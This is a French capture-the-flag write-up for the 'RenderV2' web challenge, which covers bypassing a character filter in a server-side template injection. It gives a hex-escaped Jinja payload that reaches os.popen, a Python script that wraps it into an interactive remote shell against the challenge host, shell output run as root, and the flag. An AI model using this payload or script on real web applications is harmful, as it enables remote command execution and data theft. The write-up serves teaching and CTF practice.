RenderV2
Catégorie: Web Difficulté: - Flag: CTFREI{SST1s_c4n_g3t_qu1t3_h4rd_1f_n0t_bugg3d_:p}
Challenge
Description
Bon mon petit site web s'est fait poutrer je crois...
Par contre maintenant j'ai mis beaucoup de filtres, normalement ça va être dur de récupérer le flag qui est dans flag.txt
! 😾
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Il est recommandé de voir Render pour comprendre le fonctionnement de la vulnérabilité, ici, nous n'allons se concentrer que sur le bypass de la restriction de caractères.
Sur le wiki dont nous avons parlé dans la partie 1, un payload existe déjà pour éviter tous ces caractères, il suffit de l'adapter, ce qui donne :
{{ request | attr('application') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os') | attr('popen')('<encoded_command>') | attr('read')() }}
Ensuite, il faut encoder notre commande en hexa pour éviter le filtre de caractère. On peut créer un script python pour automatiser tout ça :
import requests
URL = "http://intro.ctfrei.fr:6005"
def execute(command: str) -> str:
encoded_command = ''.join([f'\\x{ord(c):0>2x}' for c in command])
payload = "{{ request | attr('application') | attr('\\x5f\\x5fglobals\\x5f\\x5f') | attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f') | attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fimport\\x5f\\x5f')('os') | attr('popen')('" + encoded_command + "') | attr('read')() }}"
response = requests.get(f'{URL}/?name={payload}')
return response.text.split('<h1>', 1)[1].rsplit('</h1>', 1)[0][3:].strip()
def main():
while True:
print(execute(input('$ ')))
if __name__ == '__main__':
main()
python renderv2.py
$ whoami
root
$ ls -al
total 24
drwxr-xr-x 1 root root 4096 Oct 6 14:58 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
drwxr-xr-x 2 root root 4096 Oct 6 14:58 __pycache__
-rw-r--r-- 1 root root 481 Oct 5 16:33 app.py
-rw-r--r-- 1 root root 49 Oct 5 16:35 flag.txt
$ cat flag.txt
CTFREI{SST1s_c4n_g3t_qu1t3_h4rd_1f_n0t_bugg3d_:p}
oui oui, on avait les droits pour modifier flag.txt :)
Dernière mise à jour
Cet article vous a-t-il été utile ?